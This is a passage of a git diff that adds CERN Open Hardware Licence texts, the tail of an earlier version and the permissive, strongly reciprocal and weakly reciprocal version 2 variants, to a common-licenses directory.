+2.3. This Licence does not extend to software, firmware, or code loaded into programmable devices which may be used in conjunction with the Documentation, the modified Documentation or with Products, unless such software, firmware, or code is explicitly expressed to be subject to this Licence. The use of such software, firmware, or code is otherwise subject to the applicable licence terms and conditions.
+
+3. Copying, modification, communication to the public and distribution of the Documentation
+3.1. The Licensee shall keep intact all copyright and trademarks notices, all notices referring to Documentation Location, and all notices that refer to this Licence and to the disclaimer of warranties that are included in the Documentation. He shall include a copy thereof in every copy of the Documentation or, as the case may be, modified Documentation, that he communicates to the public or distributes.
+3.2. The Licensee may copy, communicate to the public and distribute verbatim copies of the Documentation, in any medium, subject to the requirements specified in section 3.1.
+3.3. The Licensee may modify the Documentation or any portion thereof provided that upon modification of the Documentation, the Licensee shall make the modified Documentation available from a Documentation Location such that it can be easily located by an original Licensor once the Licensee communicates to the public or distributes the modified Documentation under section 3.4, and, where required by section 4.1, by a recipient of a Product. However, the Licensor shall not assert his rights under the foregoing proviso unless or until a Product is distributed.
+3.4. The Licensee may communicate to the public and distribute the modified Documentation (thereby in addition to being a Licensee also becoming a Licensor), always provided that he shall:
+a) comply with section 3.1;
+b) cause the modified Documentation to carry prominent notices stating that the Licensee has modified the Documentation, with the date and description of the modifications;
+c) cause the modified Documentation to carry a new Documentation Location notice if the original Documentation provided for one;
+d) make available the modified Documentation at the same level of abstraction as that of the Documentation, in the preferred format for making modifications to it (e.g. the native format of the CAD tool as applicable), and in the event that format is proprietary, in a format viewable with a tool licensed under an OSI-approved license if the proprietary tool can create it; and
+e) license the modified Documentation under the terms and conditions of this Licence or, where applicable, a later version of this Licence as may be issued by CERN.
+3.5. The Licence includes a non-exclusive licence to those patents or registered designs that are held by, under the control of, or sub-licensable by the Licensor, to the extent necessary to make use of the rights granted under this Licence. The scope of this section 3.5 shall be strictly limited to the parts of the Documentation or modified Documentation created by the Licensor.
+
+4. Manufacture and distribution of Products
+4.1. The Licensee may manufacture or distribute Products always provided that, where such manufacture or distribution requires a licence under this Licence the Licensee provides to each recipient of such Products an easy means of accessing a copy of the Documentation or modified Documentation, as applicable, as set out in section 3.
+4.2. The Licensee is invited to inform any Licensor who has indicated his wish to receive this information about the type, quantity and dates of production of Products the Licensee has (had) manufactured
+
+5. Warranty and liability
+5.1. DISCLAIMER – The Documentation and any modified Documentation are provided "as is" and any express or implied warranties, including, but not limited to, implied warranties of merchantability, of satisfactory quality, non-infringement of third party rights, and fitness for a particular purpose or use are disclaimed in respect of the Documentation, the modified Documentation or any Product. The Licensor makes no representation that the Documentation, modified Documentation, or any Product, does or will not infringe any patent, copyright, trade secret or other proprietary right. The entire risk as to the use, quality, and performance of a Product shall be with the Licensee and not the Licensor. This disclaimer of warranty is an essential part of this Licence and a condition for the grant of any rights granted under this Licence. The Licensee warrants that it does not act in a consumer capacity.
+5.2. LIMITATION OF LIABILITY – The Licensor shall have no liability for direct, indirect, special, incidental, consequential, exemplary, punitive or other damages of any character including, without limitation, procurement of substitute goods or services, loss of use, data or profits, or business interruption, however caused and on any theory of contract, warranty, tort (including negligence), product liability or otherwise, arising in any way in relation to the Documentation, modified Documentation and/or the use, manufacture or distribution of a Product, even if advised of the possibility of such damages, and the Licensee shall hold the Licensor(s) free and harmless from any liability, costs, damages, fees and expenses, including claims by third parties, in relation to such use.
+
+6. General
+6.1. Except for the rights explicitly granted hereunder, this Licence does not imply or represent any transfer or assignment of intellectual property rights to the Licensee.
+6.2. The Licensee shall not use or make reference to any of the names (including acronyms and abbreviations), images, or logos under which the Licensor is known, save in so far as required to comply with section 3. Any such permitted use or reference shall be factual and shall in no event suggest any kind of endorsement by the Licensor or its personnel of the modified Documentation or any Product, or any kind of implication by the Licensor or its personnel in the preparation of the modified Documentation or Product.
+6.3. CERN may publish updated versions of this Licence which retain the same general provisions as this version, but differ in detail so far this is required and reasonable. New versions will be published with a unique version number.
+6.4. This Licence shall terminate with immediate effect, upon written notice and without involvement of a court if the Licensee fails to comply with any of its terms and conditions, or if the Licensee initiates legal action against Licensor in relation to this Licence. Section 5 shall continue to apply.
+
diff --git a/meta/files/common-licenses/CERN-OHL-P-2.0 b/meta/files/common-licenses/CERN-OHL-P-2.0
new file mode 100644
index 0000000000..f19d2b7adc
--- /dev/null
+++ b/meta/files/common-licenses/CERN-OHL-P-2.0
@@ -0,0 +1,199 @@
+CERN Open Hardware Licence Version 2 - Permissive
+
+
+Preamble
+
+CERN has developed this licence to promote collaboration among
+hardware designers and to provide a legal tool which supports the
+freedom to use, study, modify, share and distribute hardware designs
+and products based on those designs. Version 2 of the CERN Open
+Hardware Licence comes in three variants: this licence, CERN-OHL-P
+(permissive); and two reciprocal licences: CERN- OHL-W (weakly
+reciprocal) and CERN-OHL-S (strongly reciprocal).
+
+The CERN-OHL-P is copyright CERN 2020. Anyone is welcome to use it, in
+unmodified form only.
+
+Use of this Licence does not imply any endorsement by CERN of any
+Licensor or their designs nor does it imply any involvement by CERN in
+their development.
+
+
+1 Definitions
+
+ 1.1 'Licence' means this CERN-OHL-P.
+
+ 1.2 'Source' means information such as design materials or digital
+ code which can be applied to Make or test a Product or to
+ prepare a Product for use, Conveyance or sale, regardless of its
+ medium or how it is expressed. It may include Notices.
+
+ 1.3 'Covered Source' means Source that is explicitly made available
+ under this Licence.
+
+ 1.4 'Product' means any device, component, work or physical object,
+ whether in finished or intermediate form, arising from the use,
+ application or processing of Covered Source.
+
+ 1.5 'Make' means to create or configure something, whether by
+ manufacture, assembly, compiling, loading or applying Covered
+ Source or another Product or otherwise.
+
+ 1.6 'Notice' means copyright, acknowledgement and trademark notices,
+ references to the location of any Notices, modification notices
+ (subsection 3.3(b)) and all notices that refer to this Licence
+ and to the disclaimer of warranties that are included in the
+ Covered Source.
+
+ 1.7 'Licensee' or 'You' means any person exercising rights under
+ this Licence.
+
+ 1.8 'Licensor' means a person who creates Source or modifies Covered
+ Source and subsequently Conveys the resulting Covered Source
+ under the terms and conditions of this Licence. A person may be
+ a Licensee and a Licensor at the same time.
+
+ 1.9 'Convey' means to communicate to the public or distribute.
+
+
+2 Applicability
+
+ 2.1 This Licence governs the use, copying, modification, Conveying
+ of Covered Source and Products, and the Making of Products. By
+ exercising any right granted under this Licence, You irrevocably
+ accept these terms and conditions.
+
+ 2.2 This Licence is granted by the Licensor directly to You, and
+ shall apply worldwide and without limitation in time.
+
+ 2.3 You shall not attempt to restrict by contract or otherwise the
+ rights granted under this Licence to other Licensees.
+
+ 2.4 This Licence is not intended to restrict fair use, fair dealing,
+ or any other similar right.
+
+
+3 Copying, modifying and Conveying Covered Source
+
+ 3.1 You may copy and Convey verbatim copies of Covered Source, in
+ any medium, provided You retain all Notices.
+
+ 3.2 You may modify Covered Source, other than Notices.
+
+ You may only delete Notices if they are no longer applicable to
+ the corresponding Covered Source as modified by You and You may
+ add additional Notices applicable to Your modifications.
+
+ 3.3 You may Convey modified Covered Source (with the effect that You
+ shall also become a Licensor) provided that You:
+
+ a) retain Notices as required in subsection 3.2; and
+
+ b) add a Notice to the modified Covered Source stating that You
+ have modified it, with the date and brief description of how
+ You have modified it.
+
+ 3.4 You may Convey Covered Source or modified Covered Source under
+ licence terms which differ from the terms of this Licence
+ provided that:
+
+ a) You comply at all times with subsection 3.3; and
+
+ b) You provide a copy of this Licence to anyone to whom You
+ Convey Covered Source or modified Covered Source.
+
+
+4 Making and Conveying Products
+
+You may Make Products, and/or Convey them, provided that You ensure
+that the recipient of the Product has access to any Notices applicable
+to the Product.
+
+
+5 DISCLAIMER AND LIABILITY
+
+ 5.1 DISCLAIMER OF WARRANTY -- The Covered Source and any Products
+ are provided 'as is' and any express or implied warranties,
+ including, but not limited to, implied warranties of
+ merchantability, of satisfactory quality, non-infringement of
+ third party rights, and fitness for a particular purpose or use
+ are disclaimed in respect of any Source or Product to the
+ maximum extent permitted by law. The Licensor makes no
+ representation that any Source or Product does not or will not
+ infringe any patent, copyright, trade secret or other
+ proprietary right. The entire risk as to the use, quality, and
+ performance of any Source or Product shall be with You and not
+ the Licensor. This disclaimer of warranty is an essential part
+ of this Licence and a condition for the grant of any rights
+ granted under this Licence.
+
+ 5.2 EXCLUSION AND LIMITATION OF LIABILITY -- The Licensor shall, to
+ the maximum extent permitted by law, have no liability for
+ direct, indirect, special, incidental, consequential, exemplary,
+ punitive or other damages of any character including, without
+ limitation, procurement of substitute goods or services, loss of
+ use, data or profits, or business interruption, however caused
+ and on any theory of contract, warranty, tort (including
+ negligence), product liability or otherwise, arising in any way
+ in relation to the Covered Source, modified Covered Source
+ and/or the Making or Conveyance of a Product, even if advised of
+ the possibility of such damages, and You shall hold the
+ Licensor(s) free and harmless from any liability, costs,
+ damages, fees and expenses, including claims by third parties,
+ in relation to such use.
+
+
+6 Patents
+
+ 6.1 Subject to the terms and conditions of this Licence, each
+ Licensor hereby grants to You a perpetual, worldwide,
+ non-exclusive, no-charge, royalty-free, irrevocable (except as
+ stated in this section 6, or where terminated by the Licensor
+ for cause) patent license to Make, have Made, use, offer to
+ sell, sell, import, and otherwise transfer the Covered Source
+ and Products, where such licence applies only to those patent
+ claims licensable by such Licensor that are necessarily
+ infringed by exercising rights under the Covered Source as
+ Conveyed by that Licensor.
+
+ 6.2 If You institute patent litigation against any entity (including
+ a cross-claim or counterclaim in a lawsuit) alleging that the
+ Covered Source or a Product constitutes direct or contributory
+ patent infringement, or You seek any declaration that a patent
+ licensed to You under this Licence is invalid or unenforceable
+ then any rights granted to You under this Licence shall
+ terminate as of the date such process is initiated.
+
+
+7 General
+
+ 7.1 If any provisions of this Licence are or subsequently become
+ invalid or unenforceable for any reason, the remaining
+ provisions shall remain effective.
+
+ 7.2 You shall not use any of the name (including acronyms and
+ abbreviations), image, or logo by which the Licensor or CERN is
+ known, except where needed to comply with section 3, or where
+ the use is otherwise allowed by law. Any such permitted use
+ shall be factual and shall not be made so as to suggest any kind
+ of endorsement or implication of involvement by the Licensor or
+ its personnel.
+
+ 7.3 CERN may publish updated versions and variants of this Licence
+ which it considers to be in the spirit of this version, but may
+ differ in detail to address new problems or concerns. New
+ versions will be published with a unique version number and a
+ variant identifier specifying the variant. If the Licensor has
+ specified that a given variant applies to the Covered Source
+ without specifying a version, You may treat that Covered Source
+ as being released under any version of the CERN-OHL with that
+ variant. If no variant is specified, the Covered Source shall be
+ treated as being released under CERN-OHL-S. The Licensor may
+ also specify that the Covered Source is subject to a specific
+ version of the CERN-OHL or any later version in which case You
+ may apply this or any later version of CERN-OHL with the same
+ variant identifier published by CERN.
+
+ 7.4 This Licence shall not be enforceable except by a Licensor
+ acting as such, and third party beneficiary rights are
+ specifically excluded.
diff --git a/meta/files/common-licenses/CERN-OHL-S-2.0 b/meta/files/common-licenses/CERN-OHL-S-2.0
new file mode 100644
index 0000000000..114486fd94
--- /dev/null
+++ b/meta/files/common-licenses/CERN-OHL-S-2.0
@@ -0,0 +1,289 @@
+CERN Open Hardware Licence Version 2 - Strongly Reciprocal
+
+
+Preamble
+
+CERN has developed this licence to promote collaboration among
+hardware designers and to provide a legal tool which supports the
+freedom to use, study, modify, share and distribute hardware designs
+and products based on those designs. Version 2 of the CERN Open
+Hardware Licence comes in three variants: CERN-OHL-P (permissive); and
+two reciprocal licences: CERN-OHL-W (weakly reciprocal) and this
+licence, CERN-OHL-S (strongly reciprocal).
+
+The CERN-OHL-S is copyright CERN 2020. Anyone is welcome to use it, in
+unmodified form only.
+
+Use of this Licence does not imply any endorsement by CERN of any
+Licensor or their designs nor does it imply any involvement by CERN in
+their development.
+
+
+1 Definitions
+
+ 1.1 'Licence' means this CERN-OHL-S.
+
+ 1.2 'Compatible Licence' means
+
+ a) any earlier version of the CERN Open Hardware licence, or
+
+ b) any version of the CERN-OHL-S, or
+
+ c) any licence which permits You to treat the Source to which
+ it applies as licensed under CERN-OHL-S provided that on
+ Conveyance of any such Source, or any associated Product You
+ treat the Source in question as being licensed under
+ CERN-OHL-S.
+
+ 1.3 'Source' means information such as design materials or digital
+ code which can be applied to Make or test a Product or to
+ prepare a Product for use, Conveyance or sale, regardless of its
+ medium or how it is expressed. It may include Notices.
+
+ 1.4 'Covered Source' means Source that is explicitly made available
+ under this Licence.
+
+ 1.5 'Product' means any device, component, work or physical object,
+ whether in finished or intermediate form, arising from the use,
+ application or processing of Covered Source.
+
+ 1.6 'Make' means to create or configure something, whether by
+ manufacture, assembly, compiling, loading or applying Covered
+ Source or another Product or otherwise.
+
+ 1.7 'Available Component' means any part, sub-assembly, library or
+ code which:
+
+ a) is licensed to You as Complete Source under a Compatible
+ Licence; or
+
+ b) is available, at the time a Product or the Source containing
+ it is first Conveyed, to You and any other prospective
+ licensees
+
+ i) as a physical part with sufficient rights and
+ information (including any configuration and
+ programming files and information about its
+ characteristics and interfaces) to enable it either to
+ be Made itself, or to be sourced and used to Make the
+ Product; or
+ ii) as part of the normal distribution of a tool used to
+ design or Make the Product.
+
+ 1.8 'Complete Source' means the set of all Source necessary to Make
+ a Product, in the preferred form for making modifications,
+ including necessary installation and interfacing information
+ both for the Product, and for any included Available Components.
+ If the format is proprietary, it must also be made available in
+ a format (if the proprietary tool can create it) which is
+ viewable with a tool available to potential licensees and
+ licensed under a licence approved by the Free Software
+ Foundation or the Open Source Initiative. Complete Source need
+ not include the Source of any Available Component, provided that
+ You include in the Complete Source sufficient information to
+ enable a recipient to Make or source and use the Available
+ Component to Make the Product.
+
+ 1.9 'Source Location' means a location where a Licensor has placed
+ Covered Source, and which that Licensor reasonably believes will
+ remain easily accessible for at least three years for anyone to
+ obtain a digital copy.
+
+ 1.10 'Notice' means copyright, acknowledgement and trademark notices,
+ Source Location references, modification notices (subsection
+ 3.3(b)) and all notices that refer to this Licence and to the
+ disclaimer of warranties that are included in the Covered
+ Source.
+
+ 1.11 'Licensee' or 'You' means any person exercising rights under
+ this Licence.
+
+ 1.12 'Licensor' means a natural or legal person who creates or
+ modifies Covered Source. A person may be a Licensee and a
+ Licensor at the same time.
+
+ 1.13 'Convey' means to communicate to the public or distribute.
+
+
+2 Applicability
+
+ 2.1 This Licence governs the use, copying, modification, Conveying
+ of Covered Source and Products, and the Making of Products. By
+ exercising any right granted under this Licence, You irrevocably
+ accept these terms and conditions.
+
+ 2.2 This Licence is granted by the Licensor directly to You, and
+ shall apply worldwide and without limitation in time.
+
+ 2.3 You shall not attempt to restrict by contract or otherwise the
+ rights granted under this Licence to other Licensees.
+
+ 2.4 This Licence is not intended to restrict fair use, fair dealing,
+ or any other similar right.
+
+
+3 Copying, modifying and Conveying Covered Source
+
+ 3.1 You may copy and Convey verbatim copies of Covered Source, in
+ any medium, provided You retain all Notices.
+
+ 3.2 You may modify Covered Source, other than Notices, provided that
+ You irrevocably undertake to make that modified Covered Source
+ available from a Source Location should You Convey a Product in
+ circumstances where the recipient does not otherwise receive a
+ copy of the modified Covered Source. In each case subsection 3.3
+ shall apply.
+
+ You may only delete Notices if they are no longer applicable to
+ the corresponding Covered Source as modified by You and You may
+ add additional Notices applicable to Your modifications.
+ Including Covered Source in a larger work is modifying the
+ Covered Source, and the larger work becomes modified Covered
+ Source.
+
+ 3.3 You may Convey modified Covered Source (with the effect that You
+ shall also become a Licensor) provided that You:
+
+ a) retain Notices as required in subsection 3.2;
+
+ b) add a Notice to the modified Covered Source stating that You
+ have modified it, with the date and brief description of how
+ You have modified it;
+
+ c) add a Source Location Notice for the modified Covered Source
+ if You Convey in circumstances where the recipient does not
+ otherwise receive a copy of the modified Covered Source; and
+
+ d) license the modified Covered Source under the terms and
+ conditions of this Licence (or, as set out in subsection
+ 8.3, a later version, if permitted by the licence of the
+ original Covered Source). Such modified Covered Source must
+ be licensed as a whole, but excluding Available Components
+ contained in it, which remain licensed under their own
+ applicable licences.
+
+
+4 Making and Conveying Products
+
+You may Make Products, and/or Convey them, provided that You either
+provide each recipient with a copy of the Complete Source or ensure
+that each recipient is notified of the Source Location of the Complete
+Source. That Complete Source is Covered Source, and You must
+accordingly satisfy Your obligations set out in subsection 3.3. If
+specified in a Notice, the Product must visibly and securely display
+the Source Location on it or its packaging or documentation in the
+manner specified in that Notice.
+
+
+5 Research and Development
+
+You may Convey Covered Source, modified Covered Source or Products to
+a legal entity carrying out development, testing or quality assurance
+work on Your behalf provided that the work is performed on terms which
+prevent the entity from both using the Source or Products for its own
+internal purposes and Conveying the Source or Products or any
+modifications to them to any person other than You. Any modifications
+made by the entity shall be deemed to be made by You pursuant to
+subsection 3.2.
+
+
+6 DISCLAIMER AND LIABILITY
+
+ 6.1 DISCLAIMER OF WARRANTY -- The Covered Source and any Products
+ are provided 'as is' and any express or implied warranties,
+ including, but not limited to, implied warranties of
+ merchantability, of satisfactory quality, non-infringement of
+ third party rights, and fitness for a particular purpose or use
+ are disclaimed in respect of any Source or Product to the
+ maximum extent permitted by law. The Licensor makes no
+ representation that any Source or Product does not or will not
+ infringe any patent, copyright, trade secret or other
+ proprietary right. The entire risk as to the use, quality, and
+ performance of any Source or Product shall be with You and not
+ the Licensor. This disclaimer of warranty is an essential part
+ of this Licence and a condition for the grant of any rights
+ granted under this Licence.
+
+ 6.2 EXCLUSION AND LIMITATION OF LIABILITY -- The Licensor shall, to
+ the maximum extent permitted by law, have no liability for
+ direct, indirect, special, incidental, consequential, exemplary,
+ punitive or other damages of any character including, without
+ limitation, procurement of substitute goods or services, loss of
+ use, data or profits, or business interruption, however caused
+ and on any theory of contract, warranty, tort (including
+ negligence), product liability or otherwise, arising in any way
+ in relation to the Covered Source, modified Covered Source
+ and/or the Making or Conveyance of a Product, even if advised of
+ the possibility of such damages, and You shall hold the
+ Licensor(s) free and harmless from any liability, costs,
+ damages, fees and expenses, including claims by third parties,
+ in relation to such use.
+
+
+7 Patents
+
+ 7.1 Subject to the terms and conditions of this Licence, each
+ Licensor hereby grants to You a perpetual, worldwide,
+ non-exclusive, no-charge, royalty-free, irrevocable (except as
+ stated in subsections 7.2 and 8.4) patent license to Make, have
+ Made, use, offer to sell, sell, import, and otherwise transfer
+ the Covered Source and Products, where such licence applies only
+ to those patent claims licensable by such Licensor that are
+ necessarily infringed by exercising rights under the Covered
+ Source as Conveyed by that Licensor.
+
+ 7.2 If You institute patent litigation against any entity (including
+ a cross-claim or counterclaim in a lawsuit) alleging that the
+ Covered Source or a Product constitutes direct or contributory
+ patent infringement, or You seek any declaration that a patent
+ licensed to You under this Licence is invalid or unenforceable
+ then any rights granted to You under this Licence shall
+ terminate as of the date such process is initiated.
+
+
+8 General
+
+ 8.1 If any provisions of this Licence are or subsequently become
+ invalid or unenforceable for any reason, the remaining
+ provisions shall remain effective.
+
+ 8.2 You shall not use any of the name (including acronyms and
+ abbreviations), image, or logo by which the Licensor or CERN is
+ known, except where needed to comply with section 3, or where
+ the use is otherwise allowed by law. Any such permitted use
+ shall be factual and shall not be made so as to suggest any kind
+ of endorsement or implication of involvement by the Licensor or
+ its personnel.
+
+ 8.3 CERN may publish updated versions and variants of this Licence
+ which it considers to be in the spirit of this version, but may
+ differ in detail to address new problems or concerns. New
+ versions will be published with a unique version number and a
+ variant identifier specifying the variant. If the Licensor has
+ specified that a given variant applies to the Covered Source
+ without specifying a version, You may treat that Covered Source
+ as being released under any version of the CERN-OHL with that
+ variant. If no variant is specified, the Covered Source shall be
+ treated as being released under CERN-OHL-S. The Licensor may
+ also specify that the Covered Source is subject to a specific
+ version of the CERN-OHL or any later version in which case You
+ may apply this or any later version of CERN-OHL with the same
+ variant identifier published by CERN.
+
+ 8.4 This Licence shall terminate with immediate effect if You fail
+ to comply with any of its terms and conditions.
+
+ 8.5 However, if You cease all breaches of this Licence, then Your
+ Licence from any Licensor is reinstated unless such Licensor has
+ terminated this Licence by giving You, while You remain in
+ breach, a notice specifying the breach and requiring You to cure
+ it within 30 days, and You have failed to come into compliance
+ in all material respects by the end of the 30 day period. Should
+ You repeat the breach after receipt of a cure notice and
+ subsequent reinstatement, this Licence will terminate
+ immediately and permanently. Section 6 shall continue to apply
+ after any termination.
+
+ 8.6 This Licence shall not be enforceable except by a Licensor
+ acting as such, and third party beneficiary rights are
+ specifically excluded.
diff --git a/meta/files/common-licenses/CERN-OHL-W-2.0 b/meta/files/common-licenses/CERN-OHL-W-2.0
new file mode 100644
index 0000000000..0f882860af
--- /dev/null
+++ b/meta/files/common-licenses/CERN-OHL-W-2.0
@@ -0,0 +1,310 @@
+CERN Open Hardware Licence Version 2 - Weakly Reciprocal
+
+Preamble
+
+CERN has developed this licence to promote collaboration among
+hardware designers and to provide a legal tool which supports the
+freedom to use, study, modify, share and distribute hardware designs
+and products based on those designs. Version 2 of the CERN Open
+Hardware Licence comes in three variants: CERN-OHL-P (permissive); and
+two reciprocal licences: this licence, CERN- OHL-W (weakly reciprocal)
+and CERN-OHL-S (strongly reciprocal).
+
+The CERN-OHL-W is copyright CERN 2020. Anyone is welcome to use it, in
+unmodified form only.
+
+Use of this Licence does not imply any endorsement by CERN of any
+Licensor or their designs nor does it imply any involvement by CERN in
+their development.
+
+
+1 Definitions
+
+ 1.1 'Licence' means this CERN-OHL-W.
+
+ 1.2 'Compatible Licence' means
+
+ a) any earlier version of the CERN Open Hardware licence, or
+
+ b) any version of the CERN-OHL-S or the CERN-OHL-W, or
+
+ c) any licence which permits You to treat the Source to which
+ it applies as licensed under CERN-OHL-S or CERN-OHL-W
+ provided that on Conveyance of any such Source, or any
+ associated Product You treat the Source in question as being
+ licensed under CERN-OHL-S or CERN-OHL-W as appropriate.
+
+ 1.3 'Source' means information such as design materials or digital
+ code which can be applied to Make or test a Product or to
+ prepare a Product for use, Conveyance or sale, regardless of its
+ medium or how it is expressed. It may include Notices.
+
+ 1.4 'Covered Source' means Source that is explicitly made available
+ under this Licence.
+
+ 1.5 'Product' means any device, component, work or physical object,
+ whether in finished or intermediate form, arising from the use,
+ application or processing of Covered Source.
+
+ 1.6 'Make' means to create or configure something, whether by
+ manufacture, assembly, compiling, loading or applying Covered
+ Source or another Product or otherwise.
+
+ 1.7 'Available Component' means any part, sub-assembly, library or
+ code which:
+
+ a) is licensed to You as Complete Source under a Compatible
+ Licence; or
+
+ b) is available, at the time a Product or the Source containing
+ it is first Conveyed, to You and any other prospective
+ licensees
+
+ i) with sufficient rights and information (including any
+ configuration and programming files and information
+ about its characteristics and interfaces) to enable it
+ either to be Made itself, or to be sourced and used to
+ Make the Product; or
+ ii) as part of the normal distribution of a tool used to
+ design or Make the Product.
+
+ 1.8 'External Material' means anything (including Source) which:
+
+ a) is only combined with Covered Source in such a way that it
+ interfaces with the Covered Source using a documented
+ interface which is described in the Covered Source; and
+
+ b) is not a derivative of or contains Covered Source, or, if it
+ is, it is solely to the extent necessary to facilitate such
+ interfacing.
+
+ 1.9 'Complete Source' means the set of all Source necessary to Make
+ a Product, in the preferred form for making modifications,
+ including necessary installation and interfacing information
+ both for the Product, and for any included Available Components.
+ If the format is proprietary, it must also be made available in
+ a format (if the proprietary tool can create it) which is
+ viewable with a tool available to potential licensees and
+ licensed under a licence approved by the Free Software
+ Foundation or the Open Source Initiative. Complete Source need
+ not include the Source of any Available Component, provided that
+ You include in the Complete Source sufficient information to
+ enable a recipient to Make or source and use the Available
+ Component to Make the Product.
+
+ 1.10 'Source Location' means a location where a Licensor has placed
+ Covered Source, and which that Licensor reasonably believes will
+ remain easily accessible for at least three years for anyone to
+ obtain a digital copy.
+
+ 1.11 'Notice' means copyright, acknowledgement and trademark notices,
+ Source Location references, modification notices (subsection
+ 3.3(b)) and all notices that refer to this Licence and to the
+ disclaimer of warranties that are included in the Covered
+ Source.
+
+ 1.12 'Licensee' or 'You' means any person exercising rights under
+ this Licence.
+
+ 1.13 'Licensor' means a natural or legal person who creates or
+ modifies Covered Source. A person may be a Licensee and a
+ Licensor at the same time.
+
+ 1.14 'Convey' means to communicate to the public or distribute.
+
+
+2 Applicability
+
+ 2.1 This Licence governs the use, copying, modification, Conveying
+ of Covered Source and Products, and the Making of Products. By
+ exercising any right granted under this Licence, You irrevocably
+ accept these terms and conditions.
+
+ 2.2 This Licence is granted by the Licensor directly to You, and
+ shall apply worldwide and without limitation in time.
+
+ 2.3 You shall not attempt to restrict by contract or otherwise the
+ rights granted under this Licence to other Licensees.
+
+ 2.4 This Licence is not intended to restrict fair use, fair dealing,
+ or any other similar right.
+
+
+3 Copying, modifying and Conveying Covered Source
+
+ 3.1 You may copy and Convey verbatim copies of Covered Source, in
+ any medium, provided You retain all Notices.
+
+ 3.2 You may modify Covered Source, other than Notices, provided that
+ You irrevocably undertake to make that modified Covered Source
+ available from a Source Location should You Convey a Product in
+ circumstances where the recipient does not otherwise receive a
+ copy of the modified Covered Source. In each case subsection 3.3
+ shall apply.
+
+ You may only delete Notices if they are no longer applicable to
+ the corresponding Covered Source as modified by You and You may
+ add additional Notices applicable to Your modifications.
+
+ 3.3 You may Convey modified Covered Source (with the effect that You
+ shall also become a Licensor) provided that You:
+
+ a) retain Notices as required in subsection 3.2;
+
+ b) add a Notice to the modified Covered Source stating that You
+ have modified it, with the date and brief description of how
+ You have modified it;
+
+ c) add a Source Location Notice for the modified Covered Source
+ if You Convey in circumstances where the recipient does not
+ otherwise receive a copy of the modified Covered Source; and
+
+ d) license the modified Covered Source under the terms and
+ conditions of this Licence (or, as set out in subsection
+ 8.3, a later version, if permitted by the licence of the
+ original Covered Source). Such modified Covered Source must
+ be licensed as a whole, but excluding Available Components
+ contained in it or External Material to which it is
+ interfaced, which remain licensed under their own applicable
+ licences.
+
+
+4 Making and Conveying Products
+
+ 4.1 You may Make Products, and/or Convey them, provided that You
+ either provide each recipient with a copy of the Complete Source
+ or ensure that each recipient is notified of the Source Location
+ of the Complete Source. That Complete Source includes Covered
+ Source and You must accordingly satisfy Your obligations set out
+ in subsection 3.3. If specified in a Notice, the Product must
+ visibly and securely display the Source Location on it or its
+ packaging or documentation in the manner specified in that
+ Notice.
+
+ 4.2 Where You Convey a Product which incorporates External Material,
+ the Complete Source for that Product which You are required to
+ provide under subsection 4.1 need not include any Source for the
+ External Material.
+
+ 4.3 You may license Products under terms of Your choice, provided
+ that such terms do not restrict or attempt to restrict any
+ recipients' rights under this Licence to the Covered Source.
+
+
+5 Research and Development
+
+You may Convey Covered Source, modified Covered Source or Products to
+a legal entity carrying out development, testing or quality assurance
+work on Your behalf provided that the work is performed on terms which
+prevent the entity from both using the Source or Products for its own
+internal purposes and Conveying the Source or Products or any
+modifications to them to any person other than You. Any modifications
+made by the entity shall be deemed to be made by You pursuant to
+subsection 3.2.
+
+
+6 DISCLAIMER AND LIABILITY
+
+ 6.1 DISCLAIMER OF WARRANTY -- The Covered Source and any Products
+ are provided 'as is' and any express or implied warranties,
+ including, but not limited to, implied warranties of
+ merchantability, of satisfactory quality, non-infringement of
+ third party rights, and fitness for a particular purpose or use
+ are disclaimed in respect of any Source or Product to the
+ maximum extent permitted by law. The Licensor makes no
+ representation that any Source or Product does not or will not
+ infringe any patent, copyright, trade secret or other
+ proprietary right. The entire risk as to the use, quality, and
+ performance of any Source or Product shall be with You and not
+ the Licensor. This disclaimer of warranty is an essential part
+ of this Licence and a condition for the grant of any rights
+ granted under this Licence.
+
+ 6.2 EXCLUSION AND LIMITATION OF LIABILITY -- The Licensor shall, to
+ the maximum extent permitted by law, have no liability for
+ direct, indirect, special, incidental, consequential, exemplary,
+ punitive or other damages of any character including, without
+ limitation, procurement of substitute goods or services, loss of
+ use, data or profits, or business interruption, however caused
+ and on any theory of contract, warranty, tort (including
+ negligence), product liability or otherwise, arising in any way
+ in relation to the Covered Source, modified Covered Source
+ and/or the Making or Conveyance of a Product, even if advised of
+ the possibility of such damages, and You shall hold the
+ Licensor(s) free and harmless from any liability, costs,
+ damages, fees and expenses, including claims by third parties,
+ in relation to such use.
+
+
+7 Patents
+
+ 7.1 Subject to the terms and conditions of this Licence, each
+ Licensor hereby grants to You a perpetual, worldwide,
+ non-exclusive, no-charge, royalty-free, irrevocable (except as
+ stated in subsections 7.2 and 8.4) patent license to Make, have
+ Made, use, offer to sell, sell, import, and otherwise transfer
+ the Covered Source and Products, where such licence applies only
+ to those patent claims licensable by such Licensor that are
+ necessarily infringed by exercising rights under the Covered
+ Source as Conveyed by that Licensor.
+
+ 7.2 If You institute patent litigation against any entity (including
+ a cross-claim or counterclaim in a lawsuit) alleging that the
+ Covered Source or a Product constitutes direct or contributory
+ patent infringement, or You seek any declaration that a patent
+ licensed to You under this Licence is invalid or unenforceable
+ then any rights granted to You under this Licence shall
+ terminate as of the date such process is initiated.
+
+
+8 General
+
+ 8.1 If any provisions of this Licence are or subsequently become
+ invalid or unenforceable for any reason, the remaining
+ provisions shall remain effective.
+
+ 8.2 You shall not use any of the name (including acronyms and
+ abbreviations), image, or logo by which the Licensor or CERN is
+ known, except where needed to comply with section 3, or where
+ the use is otherwise allowed by law. Any such permitted use
+ shall be factual and shall not be made so as to suggest any kind
+ of endorsement or implication of involvement by the Licensor or
+ its personnel.
+
+ 8.3 CERN may publish updated versions and variants of this Licence
+ which it considers to be in the spirit of this version, but may
+ differ in detail to address new problems or concerns. New
+ versions will be published with a unique version number and a
+ variant identifier specifying the variant. If the Licensor has
+ specified that a given variant applies to the Covered Source
+ without specifying a version, You may treat that Covered Source
+ as being released under any version of the CERN-OHL with that
+ variant. If no variant is specified, the Covered Source shall be
+ treated as being released under CERN-OHL-S. The Licensor may
+ also specify that the Covered Source is subject to a specific
+ version of the CERN-OHL or any later version in which case You
+ may apply this or any later version of CERN-OHL with the same
+ variant identifier published by CERN.
+
+ You may treat Covered Source licensed under CERN-OHL-W as
+ licensed under CERN-OHL-S if and only if all Available
+ Components referenced in the Covered Source comply with the
+ corresponding definition of Available Component for CERN-OHL-S.
+
+ 8.4 This Licence shall terminate with immediate effect if You fail
+ to comply with any of its terms and conditions.
+
